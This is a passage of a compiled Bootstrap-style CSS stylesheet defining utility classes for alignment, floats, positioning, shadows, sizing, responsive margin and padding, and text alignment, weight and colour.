{\n align-items: baseline !important;\n }\n .align-items-xl-stretch {\n align-items: stretch !important;\n }\n .align-content-xl-start {\n align-content: flex-start !important;\n }\n .align-content-xl-end {\n align-content: flex-end !important;\n }\n .align-content-xl-center {\n align-content: center !important;\n }\n .align-content-xl-between {\n align-content: space-between !important;\n }\n .align-content-xl-around {\n align-content: space-around !important;\n }\n .align-content-xl-stretch {\n align-content: stretch !important;\n }\n .align-self-xl-auto {\n align-self: auto !important;\n }\n .align-self-xl-start {\n align-self: flex-start !important;\n }\n .align-self-xl-end {\n align-self: flex-end !important;\n }\n .align-self-xl-center {\n align-self: center !important;\n }\n .align-self-xl-baseline {\n align-self: baseline !important;\n }\n .align-self-xl-stretch {\n align-self: stretch !important;\n }\n}\n\n.float-left {\n float: left !important;\n}\n\n.float-right {\n float: right !important;\n}\n\n.float-none {\n float: none !important;\n}\n\n@media (min-width: 576px) {\n .float-sm-left {\n float: left !important;\n }\n .float-sm-right {\n float: right !important;\n }\n .float-sm-none {\n float: none !important;\n }\n}\n\n@media (min-width: 768px) {\n .float-md-left {\n float: left !important;\n }\n .float-md-right {\n float: right !important;\n }\n .float-md-none {\n float: none !important;\n }\n}\n\n@media (min-width: 992px) {\n .float-lg-left {\n float: left !important;\n }\n .float-lg-right {\n float: right !important;\n }\n .float-lg-none {\n float: none !important;\n }\n}\n\n@media (min-width: 1200px) {\n .float-xl-left {\n float: left !important;\n }\n .float-xl-right {\n float: right !important;\n }\n .float-xl-none {\n float: none !important;\n }\n}\n\n.position-static {\n position: static !important;\n}\n\n.position-relative {\n position: relative !important;\n}\n\n.position-absolute {\n position: absolute !important;\n}\n\n.position-fixed {\n position: fixed !important;\n}\n\n.position-sticky {\n position: sticky !important;\n}\n\n.fixed-top {\n position: fixed;\n top: 0;\n right: 0;\n left: 0;\n z-index: 1030;\n}\n\n.fixed-bottom {\n position: fixed;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1030;\n}\n\n@supports (position: sticky) {\n .sticky-top {\n position: sticky;\n top: 0;\n z-index: 1020;\n }\n}\n\n.sr-only {\n position: absolute;\n width: 1px;\n height: 1px;\n padding: 0;\n overflow: hidden;\n clip: rect(0, 0, 0, 0);\n white-space: nowrap;\n border: 0;\n}\n\n.sr-only-focusable:active, .sr-only-focusable:focus {\n position: static;\n width: auto;\n height: auto;\n overflow: visible;\n clip: auto;\n white-space: normal;\n}\n\n.shadow-sm {\n box-shadow: 0 0.125rem 0.25rem rgba(0, 0, 0, 0.075) !important;\n}\n\n.shadow {\n box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15) !important;\n}\n\n.shadow-lg {\n box-shadow: 0 1rem 3rem rgba(0, 0, 0, 0.175) !important;\n}\n\n.shadow-none {\n box-shadow: none !important;\n}\n\n.w-25 {\n width: 25% !important;\n}\n\n.w-50 {\n width: 50% !important;\n}\n\n.w-75 {\n width: 75% !important;\n}\n\n.w-100 {\n width: 100% !important;\n}\n\n.w-auto {\n width: auto !important;\n}\n\n.h-25 {\n height: 25% !important;\n}\n\n.h-50 {\n height: 50% !important;\n}\n\n.h-75 {\n height: 75% !important;\n}\n\n.h-100 {\n height: 100% !important;\n}\n\n.h-auto {\n height: auto !important;\n}\n\n.mw-100 {\n max-width: 100% !important;\n}\n\n.mh-100 {\n max-height: 100% !important;\n}\n\n.m-0 {\n margin: 0 !important;\n}\n\n.mt-0,\n.my-0 {\n margin-top: 0 !important;\n}\n\n.mr-0,\n.mx-0 {\n margin-right: 0 !important;\n}\n\n.mb-0,\n.my-0 {\n margin-bottom: 0 !important;\n}\n\n.ml-0,\n.mx-0 {\n margin-left: 0 !important;\n}\n\n.m-1 {\n margin: 0.25rem !important;\n}\n\n.mt-1,\n.my-1 {\n margin-top: 0.25rem !important;\n}\n\n.mr-1,\n.mx-1 {\n margin-right: 0.25rem !important;\n}\n\n.mb-1,\n.my-1 {\n margin-bottom: 0.25rem !important;\n}\n\n.ml-1,\n.mx-1 {\n margin-left: 0.25rem !important;\n}\n\n.m-2 {\n margin: 0.5rem !important;\n}\n\n.mt-2,\n.my-2 {\n margin-top: 0.5rem !important;\n}\n\n.mr-2,\n.mx-2 {\n margin-right: 0.5rem !important;\n}\n\n.mb-2,\n.my-2 {\n margin-bottom: 0.5rem !important;\n}\n\n.ml-2,\n.mx-2 {\n margin-left: 0.5rem !important;\n}\n\n.m-3 {\n margin: 1rem !important;\n}\n\n.mt-3,\n.my-3 {\n margin-top: 1rem !important;\n}\n\n.mr-3,\n.mx-3 {\n margin-right: 1rem !important;\n}\n\n.mb-3,\n.my-3 {\n margin-bottom: 1rem !important;\n}\n\n.ml-3,\n.mx-3 {\n margin-left: 1rem !important;\n}\n\n.m-4 {\n margin: 1.5rem !important;\n}\n\n.mt-4,\n.my-4 {\n margin-top: 1.5rem !important;\n}\n\n.mr-4,\n.mx-4 {\n margin-right: 1.5rem !important;\n}\n\n.mb-4,\n.my-4 {\n margin-bottom: 1.5rem !important;\n}\n\n.ml-4,\n.mx-4 {\n margin-left: 1.5rem !important;\n}\n\n.m-5 {\n margin: 3rem !important;\n}\n\n.mt-5,\n.my-5 {\n margin-top: 3rem !important;\n}\n\n.mr-5,\n.mx-5 {\n margin-right: 3rem !important;\n}\n\n.mb-5,\n.my-5 {\n margin-bottom: 3rem !important;\n}\n\n.ml-5,\n.mx-5 {\n margin-left: 3rem !important;\n}\n\n.p-0 {\n padding: 0 !important;\n}\n\n.pt-0,\n.py-0 {\n padding-top: 0 !important;\n}\n\n.pr-0,\n.px-0 {\n padding-right: 0 !important;\n}\n\n.pb-0,\n.py-0 {\n padding-bottom: 0 !important;\n}\n\n.pl-0,\n.px-0 {\n padding-left: 0 !important;\n}\n\n.p-1 {\n padding: 0.25rem !important;\n}\n\n.pt-1,\n.py-1 {\n padding-top: 0.25rem !important;\n}\n\n.pr-1,\n.px-1 {\n padding-right: 0.25rem !important;\n}\n\n.pb-1,\n.py-1 {\n padding-bottom: 0.25rem !important;\n}\n\n.pl-1,\n.px-1 {\n padding-left: 0.25rem !important;\n}\n\n.p-2 {\n padding: 0.5rem !important;\n}\n\n.pt-2,\n.py-2 {\n padding-top: 0.5rem !important;\n}\n\n.pr-2,\n.px-2 {\n padding-right: 0.5rem !important;\n}\n\n.pb-2,\n.py-2 {\n padding-bottom: 0.5rem !important;\n}\n\n.pl-2,\n.px-2 {\n padding-left: 0.5rem !important;\n}\n\n.p-3 {\n padding: 1rem !important;\n}\n\n.pt-3,\n.py-3 {\n padding-top: 1rem !important;\n}\n\n.pr-3,\n.px-3 {\n padding-right: 1rem !important;\n}\n\n.pb-3,\n.py-3 {\n padding-bottom: 1rem !important;\n}\n\n.pl-3,\n.px-3 {\n padding-left: 1rem !important;\n}\n\n.p-4 {\n padding: 1.5rem !important;\n}\n\n.pt-4,\n.py-4 {\n padding-top: 1.5rem !important;\n}\n\n.pr-4,\n.px-4 {\n padding-right: 1.5rem !important;\n}\n\n.pb-4,\n.py-4 {\n padding-bottom: 1.5rem !important;\n}\n\n.pl-4,\n.px-4 {\n padding-left: 1.5rem !important;\n}\n\n.p-5 {\n padding: 3rem !important;\n}\n\n.pt-5,\n.py-5 {\n padding-top: 3rem !important;\n}\n\n.pr-5,\n.px-5 {\n padding-right: 3rem !important;\n}\n\n.pb-5,\n.py-5 {\n padding-bottom: 3rem !important;\n}\n\n.pl-5,\n.px-5 {\n padding-left: 3rem !important;\n}\n\n.m-auto {\n margin: auto !important;\n}\n\n.mt-auto,\n.my-auto {\n margin-top: auto !important;\n}\n\n.mr-auto,\n.mx-auto {\n margin-right: auto !important;\n}\n\n.mb-auto,\n.my-auto {\n margin-bottom: auto !important;\n}\n\n.ml-auto,\n.mx-auto {\n margin-left: auto !important;\n}\n\n@media (min-width: 576px) {\n .m-sm-0 {\n margin: 0 !important;\n }\n .mt-sm-0,\n .my-sm-0 {\n margin-top: 0 !important;\n }\n .mr-sm-0,\n .mx-sm-0 {\n margin-right: 0 !important;\n }\n .mb-sm-0,\n .my-sm-0 {\n margin-bottom: 0 !important;\n }\n .ml-sm-0,\n .mx-sm-0 {\n margin-left: 0 !important;\n }\n .m-sm-1 {\n margin: 0.25rem !important;\n }\n .mt-sm-1,\n .my-sm-1 {\n margin-top: 0.25rem !important;\n }\n .mr-sm-1,\n .mx-sm-1 {\n margin-right: 0.25rem !important;\n }\n .mb-sm-1,\n .my-sm-1 {\n margin-bottom: 0.25rem !important;\n }\n .ml-sm-1,\n .mx-sm-1 {\n margin-left: 0.25rem !important;\n }\n .m-sm-2 {\n margin: 0.5rem !important;\n }\n .mt-sm-2,\n .my-sm-2 {\n margin-top: 0.5rem !important;\n }\n .mr-sm-2,\n .mx-sm-2 {\n margin-right: 0.5rem !important;\n }\n .mb-sm-2,\n .my-sm-2 {\n margin-bottom: 0.5rem !important;\n }\n .ml-sm-2,\n .mx-sm-2 {\n margin-left: 0.5rem !important;\n }\n .m-sm-3 {\n margin: 1rem !important;\n }\n .mt-sm-3,\n .my-sm-3 {\n margin-top: 1rem !important;\n }\n .mr-sm-3,\n .mx-sm-3 {\n margin-right: 1rem !important;\n }\n .mb-sm-3,\n .my-sm-3 {\n margin-bottom: 1rem !important;\n }\n .ml-sm-3,\n .mx-sm-3 {\n margin-left: 1rem !important;\n }\n .m-sm-4 {\n margin: 1.5rem !important;\n }\n .mt-sm-4,\n .my-sm-4 {\n margin-top: 1.5rem !important;\n }\n .mr-sm-4,\n .mx-sm-4 {\n margin-right: 1.5rem !important;\n }\n .mb-sm-4,\n .my-sm-4 {\n margin-bottom: 1.5rem !important;\n }\n .ml-sm-4,\n .mx-sm-4 {\n margin-left: 1.5rem !important;\n }\n .m-sm-5 {\n margin: 3rem !important;\n }\n .mt-sm-5,\n .my-sm-5 {\n margin-top: 3rem !important;\n }\n .mr-sm-5,\n .mx-sm-5 {\n margin-right: 3rem !important;\n }\n .mb-sm-5,\n .my-sm-5 {\n margin-bottom: 3rem !important;\n }\n .ml-sm-5,\n .mx-sm-5 {\n margin-left: 3rem !important;\n }\n .p-sm-0 {\n padding: 0 !important;\n }\n .pt-sm-0,\n .py-sm-0 {\n padding-top: 0 !important;\n }\n .pr-sm-0,\n .px-sm-0 {\n padding-right: 0 !important;\n }\n .pb-sm-0,\n .py-sm-0 {\n padding-bottom: 0 !important;\n }\n .pl-sm-0,\n .px-sm-0 {\n padding-left: 0 !important;\n }\n .p-sm-1 {\n padding: 0.25rem !important;\n }\n .pt-sm-1,\n .py-sm-1 {\n padding-top: 0.25rem !important;\n }\n .pr-sm-1,\n .px-sm-1 {\n padding-right: 0.25rem !important;\n }\n .pb-sm-1,\n .py-sm-1 {\n padding-bottom: 0.25rem !important;\n }\n .pl-sm-1,\n .px-sm-1 {\n padding-left: 0.25rem !important;\n }\n .p-sm-2 {\n padding: 0.5rem !important;\n }\n .pt-sm-2,\n .py-sm-2 {\n padding-top: 0.5rem !important;\n }\n .pr-sm-2,\n .px-sm-2 {\n padding-right: 0.5rem !important;\n }\n .pb-sm-2,\n .py-sm-2 {\n padding-bottom: 0.5rem !important;\n }\n .pl-sm-2,\n .px-sm-2 {\n padding-left: 0.5rem !important;\n }\n .p-sm-3 {\n padding: 1rem !important;\n }\n .pt-sm-3,\n .py-sm-3 {\n padding-top: 1rem !important;\n }\n .pr-sm-3,\n .px-sm-3 {\n padding-right: 1rem !important;\n }\n .pb-sm-3,\n .py-sm-3 {\n padding-bottom: 1rem !important;\n }\n .pl-sm-3,\n .px-sm-3 {\n padding-left: 1rem !important;\n }\n .p-sm-4 {\n padding: 1.5rem !important;\n }\n .pt-sm-4,\n .py-sm-4 {\n padding-top: 1.5rem !important;\n }\n .pr-sm-4,\n .px-sm-4 {\n padding-right: 1.5rem !important;\n }\n .pb-sm-4,\n .py-sm-4 {\n padding-bottom: 1.5rem !important;\n }\n .pl-sm-4,\n .px-sm-4 {\n padding-left: 1.5rem !important;\n }\n .p-sm-5 {\n padding: 3rem !important;\n }\n .pt-sm-5,\n .py-sm-5 {\n padding-top: 3rem !important;\n }\n .pr-sm-5,\n .px-sm-5 {\n padding-right: 3rem !important;\n }\n .pb-sm-5,\n .py-sm-5 {\n padding-bottom: 3rem !important;\n }\n .pl-sm-5,\n .px-sm-5 {\n padding-left: 3rem !important;\n }\n .m-sm-auto {\n margin: auto !important;\n }\n .mt-sm-auto,\n .my-sm-auto {\n margin-top: auto !important;\n }\n .mr-sm-auto,\n .mx-sm-auto {\n margin-right: auto !important;\n }\n .mb-sm-auto,\n .my-sm-auto {\n margin-bottom: auto !important;\n }\n .ml-sm-auto,\n .mx-sm-auto {\n margin-left: auto !important;\n }\n}\n\n@media (min-width: 768px) {\n .m-md-0 {\n margin: 0 !important;\n }\n .mt-md-0,\n .my-md-0 {\n margin-top: 0 !important;\n }\n .mr-md-0,\n .mx-md-0 {\n margin-right: 0 !important;\n }\n .mb-md-0,\n .my-md-0 {\n margin-bottom: 0 !important;\n }\n .ml-md-0,\n .mx-md-0 {\n margin-left: 0 !important;\n }\n .m-md-1 {\n margin: 0.25rem !important;\n }\n .mt-md-1,\n .my-md-1 {\n margin-top: 0.25rem !important;\n }\n .mr-md-1,\n .mx-md-1 {\n margin-right: 0.25rem !important;\n }\n .mb-md-1,\n .my-md-1 {\n margin-bottom: 0.25rem !important;\n }\n .ml-md-1,\n .mx-md-1 {\n margin-left: 0.25rem !important;\n }\n .m-md-2 {\n margin: 0.5rem !important;\n }\n .mt-md-2,\n .my-md-2 {\n margin-top: 0.5rem !important;\n }\n .mr-md-2,\n .mx-md-2 {\n margin-right: 0.5rem !important;\n }\n .mb-md-2,\n .my-md-2 {\n margin-bottom: 0.5rem !important;\n }\n .ml-md-2,\n .mx-md-2 {\n margin-left: 0.5rem !important;\n }\n .m-md-3 {\n margin: 1rem !important;\n }\n .mt-md-3,\n .my-md-3 {\n margin-top: 1rem !important;\n }\n .mr-md-3,\n .mx-md-3 {\n margin-right: 1rem !important;\n }\n .mb-md-3,\n .my-md-3 {\n margin-bottom: 1rem !important;\n }\n .ml-md-3,\n .mx-md-3 {\n margin-left: 1rem !important;\n }\n .m-md-4 {\n margin: 1.5rem !important;\n }\n .mt-md-4,\n .my-md-4 {\n margin-top: 1.5rem !important;\n }\n .mr-md-4,\n .mx-md-4 {\n margin-right: 1.5rem !important;\n }\n .mb-md-4,\n .my-md-4 {\n margin-bottom: 1.5rem !important;\n }\n .ml-md-4,\n .mx-md-4 {\n margin-left: 1.5rem !important;\n }\n .m-md-5 {\n margin: 3rem !important;\n }\n .mt-md-5,\n .my-md-5 {\n margin-top: 3rem !important;\n }\n .mr-md-5,\n .mx-md-5 {\n margin-right: 3rem !important;\n }\n .mb-md-5,\n .my-md-5 {\n margin-bottom: 3rem !important;\n }\n .ml-md-5,\n .mx-md-5 {\n margin-left: 3rem !important;\n }\n .p-md-0 {\n padding: 0 !important;\n }\n .pt-md-0,\n .py-md-0 {\n padding-top: 0 !important;\n }\n .pr-md-0,\n .px-md-0 {\n padding-right: 0 !important;\n }\n .pb-md-0,\n .py-md-0 {\n padding-bottom: 0 !important;\n }\n .pl-md-0,\n .px-md-0 {\n padding-left: 0 !important;\n }\n .p-md-1 {\n padding: 0.25rem !important;\n }\n .pt-md-1,\n .py-md-1 {\n padding-top: 0.25rem !important;\n }\n .pr-md-1,\n .px-md-1 {\n padding-right: 0.25rem !important;\n }\n .pb-md-1,\n .py-md-1 {\n padding-bottom: 0.25rem !important;\n }\n .pl-md-1,\n .px-md-1 {\n padding-left: 0.25rem !important;\n }\n .p-md-2 {\n padding: 0.5rem !important;\n }\n .pt-md-2,\n .py-md-2 {\n padding-top: 0.5rem !important;\n }\n .pr-md-2,\n .px-md-2 {\n padding-right: 0.5rem !important;\n }\n .pb-md-2,\n .py-md-2 {\n padding-bottom: 0.5rem !important;\n }\n .pl-md-2,\n .px-md-2 {\n padding-left: 0.5rem !important;\n }\n .p-md-3 {\n padding: 1rem !important;\n }\n .pt-md-3,\n .py-md-3 {\n padding-top: 1rem !important;\n }\n .pr-md-3,\n .px-md-3 {\n padding-right: 1rem !important;\n }\n .pb-md-3,\n .py-md-3 {\n padding-bottom: 1rem !important;\n }\n .pl-md-3,\n .px-md-3 {\n padding-left: 1rem !important;\n }\n .p-md-4 {\n padding: 1.5rem !important;\n }\n .pt-md-4,\n .py-md-4 {\n padding-top: 1.5rem !important;\n }\n .pr-md-4,\n .px-md-4 {\n padding-right: 1.5rem !important;\n }\n .pb-md-4,\n .py-md-4 {\n padding-bottom: 1.5rem !important;\n }\n .pl-md-4,\n .px-md-4 {\n padding-left: 1.5rem !important;\n }\n .p-md-5 {\n padding: 3rem !important;\n }\n .pt-md-5,\n .py-md-5 {\n padding-top: 3rem !important;\n }\n .pr-md-5,\n .px-md-5 {\n padding-right: 3rem !important;\n }\n .pb-md-5,\n .py-md-5 {\n padding-bottom: 3rem !important;\n }\n .pl-md-5,\n .px-md-5 {\n padding-left: 3rem !important;\n }\n .m-md-auto {\n margin: auto !important;\n }\n .mt-md-auto,\n .my-md-auto {\n margin-top: auto !important;\n }\n .mr-md-auto,\n .mx-md-auto {\n margin-right: auto !important;\n }\n .mb-md-auto,\n .my-md-auto {\n margin-bottom: auto !important;\n }\n .ml-md-auto,\n .mx-md-auto {\n margin-left: auto !important;\n }\n}\n\n@media (min-width: 992px) {\n .m-lg-0 {\n margin: 0 !important;\n }\n .mt-lg-0,\n .my-lg-0 {\n margin-top: 0 !important;\n }\n .mr-lg-0,\n .mx-lg-0 {\n margin-right: 0 !important;\n }\n .mb-lg-0,\n .my-lg-0 {\n margin-bottom: 0 !important;\n }\n .ml-lg-0,\n .mx-lg-0 {\n margin-left: 0 !important;\n }\n .m-lg-1 {\n margin: 0.25rem !important;\n }\n .mt-lg-1,\n .my-lg-1 {\n margin-top: 0.25rem !important;\n }\n .mr-lg-1,\n .mx-lg-1 {\n margin-right: 0.25rem !important;\n }\n .mb-lg-1,\n .my-lg-1 {\n margin-bottom: 0.25rem !important;\n }\n .ml-lg-1,\n .mx-lg-1 {\n margin-left: 0.25rem !important;\n }\n .m-lg-2 {\n margin: 0.5rem !important;\n }\n .mt-lg-2,\n .my-lg-2 {\n margin-top: 0.5rem !important;\n }\n .mr-lg-2,\n .mx-lg-2 {\n margin-right: 0.5rem !important;\n }\n .mb-lg-2,\n .my-lg-2 {\n margin-bottom: 0.5rem !important;\n }\n .ml-lg-2,\n .mx-lg-2 {\n margin-left: 0.5rem !important;\n }\n .m-lg-3 {\n margin: 1rem !important;\n }\n .mt-lg-3,\n .my-lg-3 {\n margin-top: 1rem !important;\n }\n .mr-lg-3,\n .mx-lg-3 {\n margin-right: 1rem !important;\n }\n .mb-lg-3,\n .my-lg-3 {\n margin-bottom: 1rem !important;\n }\n .ml-lg-3,\n .mx-lg-3 {\n margin-left: 1rem !important;\n }\n .m-lg-4 {\n margin: 1.5rem !important;\n }\n .mt-lg-4,\n .my-lg-4 {\n margin-top: 1.5rem !important;\n }\n .mr-lg-4,\n .mx-lg-4 {\n margin-right: 1.5rem !important;\n }\n .mb-lg-4,\n .my-lg-4 {\n margin-bottom: 1.5rem !important;\n }\n .ml-lg-4,\n .mx-lg-4 {\n margin-left: 1.5rem !important;\n }\n .m-lg-5 {\n margin: 3rem !important;\n }\n .mt-lg-5,\n .my-lg-5 {\n margin-top: 3rem !important;\n }\n .mr-lg-5,\n .mx-lg-5 {\n margin-right: 3rem !important;\n }\n .mb-lg-5,\n .my-lg-5 {\n margin-bottom: 3rem !important;\n }\n .ml-lg-5,\n .mx-lg-5 {\n margin-left: 3rem !important;\n }\n .p-lg-0 {\n padding: 0 !important;\n }\n .pt-lg-0,\n .py-lg-0 {\n padding-top: 0 !important;\n }\n .pr-lg-0,\n .px-lg-0 {\n padding-right: 0 !important;\n }\n .pb-lg-0,\n .py-lg-0 {\n padding-bottom: 0 !important;\n }\n .pl-lg-0,\n .px-lg-0 {\n padding-left: 0 !important;\n }\n .p-lg-1 {\n padding: 0.25rem !important;\n }\n .pt-lg-1,\n .py-lg-1 {\n padding-top: 0.25rem !important;\n }\n .pr-lg-1,\n .px-lg-1 {\n padding-right: 0.25rem !important;\n }\n .pb-lg-1,\n .py-lg-1 {\n padding-bottom: 0.25rem !important;\n }\n .pl-lg-1,\n .px-lg-1 {\n padding-left: 0.25rem !important;\n }\n .p-lg-2 {\n padding: 0.5rem !important;\n }\n .pt-lg-2,\n .py-lg-2 {\n padding-top: 0.5rem !important;\n }\n .pr-lg-2,\n .px-lg-2 {\n padding-right: 0.5rem !important;\n }\n .pb-lg-2,\n .py-lg-2 {\n padding-bottom: 0.5rem !important;\n }\n .pl-lg-2,\n .px-lg-2 {\n padding-left: 0.5rem !important;\n }\n .p-lg-3 {\n padding: 1rem !important;\n }\n .pt-lg-3,\n .py-lg-3 {\n padding-top: 1rem !important;\n }\n .pr-lg-3,\n .px-lg-3 {\n padding-right: 1rem !important;\n }\n .pb-lg-3,\n .py-lg-3 {\n padding-bottom: 1rem !important;\n }\n .pl-lg-3,\n .px-lg-3 {\n padding-left: 1rem !important;\n }\n .p-lg-4 {\n padding: 1.5rem !important;\n }\n .pt-lg-4,\n .py-lg-4 {\n padding-top: 1.5rem !important;\n }\n .pr-lg-4,\n .px-lg-4 {\n padding-right: 1.5rem !important;\n }\n .pb-lg-4,\n .py-lg-4 {\n padding-bottom: 1.5rem !important;\n }\n .pl-lg-4,\n .px-lg-4 {\n padding-left: 1.5rem !important;\n }\n .p-lg-5 {\n padding: 3rem !important;\n }\n .pt-lg-5,\n .py-lg-5 {\n padding-top: 3rem !important;\n }\n .pr-lg-5,\n .px-lg-5 {\n padding-right: 3rem !important;\n }\n .pb-lg-5,\n .py-lg-5 {\n padding-bottom: 3rem !important;\n }\n .pl-lg-5,\n .px-lg-5 {\n padding-left: 3rem !important;\n }\n .m-lg-auto {\n margin: auto !important;\n }\n .mt-lg-auto,\n .my-lg-auto {\n margin-top: auto !important;\n }\n .mr-lg-auto,\n .mx-lg-auto {\n margin-right: auto !important;\n }\n .mb-lg-auto,\n .my-lg-auto {\n margin-bottom: auto !important;\n }\n .ml-lg-auto,\n .mx-lg-auto {\n margin-left: auto !important;\n }\n}\n\n@media (min-width: 1200px) {\n .m-xl-0 {\n margin: 0 !important;\n }\n .mt-xl-0,\n .my-xl-0 {\n margin-top: 0 !important;\n }\n .mr-xl-0,\n .mx-xl-0 {\n margin-right: 0 !important;\n }\n .mb-xl-0,\n .my-xl-0 {\n margin-bottom: 0 !important;\n }\n .ml-xl-0,\n .mx-xl-0 {\n margin-left: 0 !important;\n }\n .m-xl-1 {\n margin: 0.25rem !important;\n }\n .mt-xl-1,\n .my-xl-1 {\n margin-top: 0.25rem !important;\n }\n .mr-xl-1,\n .mx-xl-1 {\n margin-right: 0.25rem !important;\n }\n .mb-xl-1,\n .my-xl-1 {\n margin-bottom: 0.25rem !important;\n }\n .ml-xl-1,\n .mx-xl-1 {\n margin-left: 0.25rem !important;\n }\n .m-xl-2 {\n margin: 0.5rem !important;\n }\n .mt-xl-2,\n .my-xl-2 {\n margin-top: 0.5rem !important;\n }\n .mr-xl-2,\n .mx-xl-2 {\n margin-right: 0.5rem !important;\n }\n .mb-xl-2,\n .my-xl-2 {\n margin-bottom: 0.5rem !important;\n }\n .ml-xl-2,\n .mx-xl-2 {\n margin-left: 0.5rem !important;\n }\n .m-xl-3 {\n margin: 1rem !important;\n }\n .mt-xl-3,\n .my-xl-3 {\n margin-top: 1rem !important;\n }\n .mr-xl-3,\n .mx-xl-3 {\n margin-right: 1rem !important;\n }\n .mb-xl-3,\n .my-xl-3 {\n margin-bottom: 1rem !important;\n }\n .ml-xl-3,\n .mx-xl-3 {\n margin-left: 1rem !important;\n }\n .m-xl-4 {\n margin: 1.5rem !important;\n }\n .mt-xl-4,\n .my-xl-4 {\n margin-top: 1.5rem !important;\n }\n .mr-xl-4,\n .mx-xl-4 {\n margin-right: 1.5rem !important;\n }\n .mb-xl-4,\n .my-xl-4 {\n margin-bottom: 1.5rem !important;\n }\n .ml-xl-4,\n .mx-xl-4 {\n margin-left: 1.5rem !important;\n }\n .m-xl-5 {\n margin: 3rem !important;\n }\n .mt-xl-5,\n .my-xl-5 {\n margin-top: 3rem !important;\n }\n .mr-xl-5,\n .mx-xl-5 {\n margin-right: 3rem !important;\n }\n .mb-xl-5,\n .my-xl-5 {\n margin-bottom: 3rem !important;\n }\n .ml-xl-5,\n .mx-xl-5 {\n margin-left: 3rem !important;\n }\n .p-xl-0 {\n padding: 0 !important;\n }\n .pt-xl-0,\n .py-xl-0 {\n padding-top: 0 !important;\n }\n .pr-xl-0,\n .px-xl-0 {\n padding-right: 0 !important;\n }\n .pb-xl-0,\n .py-xl-0 {\n padding-bottom: 0 !important;\n }\n .pl-xl-0,\n .px-xl-0 {\n padding-left: 0 !important;\n }\n .p-xl-1 {\n padding: 0.25rem !important;\n }\n .pt-xl-1,\n .py-xl-1 {\n padding-top: 0.25rem !important;\n }\n .pr-xl-1,\n .px-xl-1 {\n padding-right: 0.25rem !important;\n }\n .pb-xl-1,\n .py-xl-1 {\n padding-bottom: 0.25rem !important;\n }\n .pl-xl-1,\n .px-xl-1 {\n padding-left: 0.25rem !important;\n }\n .p-xl-2 {\n padding: 0.5rem !important;\n }\n .pt-xl-2,\n .py-xl-2 {\n padding-top: 0.5rem !important;\n }\n .pr-xl-2,\n .px-xl-2 {\n padding-right: 0.5rem !important;\n }\n .pb-xl-2,\n .py-xl-2 {\n padding-bottom: 0.5rem !important;\n }\n .pl-xl-2,\n .px-xl-2 {\n padding-left: 0.5rem !important;\n }\n .p-xl-3 {\n padding: 1rem !important;\n }\n .pt-xl-3,\n .py-xl-3 {\n padding-top: 1rem !important;\n }\n .pr-xl-3,\n .px-xl-3 {\n padding-right: 1rem !important;\n }\n .pb-xl-3,\n .py-xl-3 {\n padding-bottom: 1rem !important;\n }\n .pl-xl-3,\n .px-xl-3 {\n padding-left: 1rem !important;\n }\n .p-xl-4 {\n padding: 1.5rem !important;\n }\n .pt-xl-4,\n .py-xl-4 {\n padding-top: 1.5rem !important;\n }\n .pr-xl-4,\n .px-xl-4 {\n padding-right: 1.5rem !important;\n }\n .pb-xl-4,\n .py-xl-4 {\n padding-bottom: 1.5rem !important;\n }\n .pl-xl-4,\n .px-xl-4 {\n padding-left: 1.5rem !important;\n }\n .p-xl-5 {\n padding: 3rem !important;\n }\n .pt-xl-5,\n .py-xl-5 {\n padding-top: 3rem !important;\n }\n .pr-xl-5,\n .px-xl-5 {\n padding-right: 3rem !important;\n }\n .pb-xl-5,\n .py-xl-5 {\n padding-bottom: 3rem !important;\n }\n .pl-xl-5,\n .px-xl-5 {\n padding-left: 3rem !important;\n }\n .m-xl-auto {\n margin: auto !important;\n }\n .mt-xl-auto,\n .my-xl-auto {\n margin-top: auto !important;\n }\n .mr-xl-auto,\n .mx-xl-auto {\n margin-right: auto !important;\n }\n .mb-xl-auto,\n .my-xl-auto {\n margin-bottom: auto !important;\n }\n .ml-xl-auto,\n .mx-xl-auto {\n margin-left: auto !important;\n }\n}\n\n.text-monospace {\n font-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n}\n\n.text-justify {\n text-align: justify !important;\n}\n\n.text-nowrap {\n white-space: nowrap !important;\n}\n\n.text-truncate {\n overflow: hidden;\n text-overflow: ellipsis;\n white-space: nowrap;\n}\n\n.text-left {\n text-align: left !important;\n}\n\n.text-right {\n text-align: right !important;\n}\n\n.text-center {\n text-align: center !important;\n}\n\n@media (min-width: 576px) {\n .text-sm-left {\n text-align: left !important;\n }\n .text-sm-right {\n text-align: right !important;\n }\n .text-sm-center {\n text-align: center !important;\n }\n}\n\n@media (min-width: 768px) {\n .text-md-left {\n text-align: left !important;\n }\n .text-md-right {\n text-align: right !important;\n }\n .text-md-center {\n text-align: center !important;\n }\n}\n\n@media (min-width: 992px) {\n .text-lg-left {\n text-align: left !important;\n }\n .text-lg-right {\n text-align: right !important;\n }\n .text-lg-center {\n text-align: center !important;\n }\n}\n\n@media (min-width: 1200px) {\n .text-xl-left {\n text-align: left !important;\n }\n .text-xl-right {\n text-align: right !important;\n }\n .text-xl-center {\n text-align: center !important;\n }\n}\n\n.text-lowercase {\n text-transform: lowercase !important;\n}\n\n.text-uppercase {\n text-transform: uppercase !important;\n}\n\n.text-capitalize {\n text-transform: capitalize !important;\n}\n\n.font-weight-light {\n font-weight: 300 !important;\n}\n\n.font-weight-normal {\n font-weight: 400 !important;\n}\n\n.font-weight-bold {\n font-weight: 700 !important;\n}\n\n.font-italic {\n font-style: italic !important;\n}\n\n.text-white {\n color: #fff !important;\n}\n\n.text-primary {\n color: #007bff !important;\n}\n\na.text-primary:hover, a.text-primary:focus {\n color: #0062cc !important;\n}\n\n.text-secondary {\n color: #6c757d !important;\n}\n\na.text-secondary:hover, a.text-secondary:focus {\n color: #545b62 !important;\n}\n\n.text-success {\n color: #28a745 !important;\n}\n\na.text-success:hover, a.text-success:focus {\n color: #1e7e34 !important;\n}\n\n.text-info {\n color: #17a2b8 !important;\n}\n\na.text-info:hover, a.text-info:focus {\n color: #117a8b !important;\n}\n\n.text-warning {\n color: #ffc107 !important;\n}\n\na.text-warning:hover, a.text-warning:focus {\n color: #d39e00 !important;\n}\n\n.text-danger {\n color: #dc3545 !important;\n}\n\na.text-danger:hover, a.text-danger:focus {\n color: #bd2130 !important;\n}\n\n.text-light {\n color: #f8f9fa !important;\n}\n\na.text-light:hover, a.text-light:focus {\n color: #dae0e5 !important;\n}\n\n.text-dark {\n color: #343a40 !important;\n}\n\na.text-dark:hover, a.text-dark:focus {\n color: #1d2124 !important;\n}\n\n.text-body {\n color: #212529 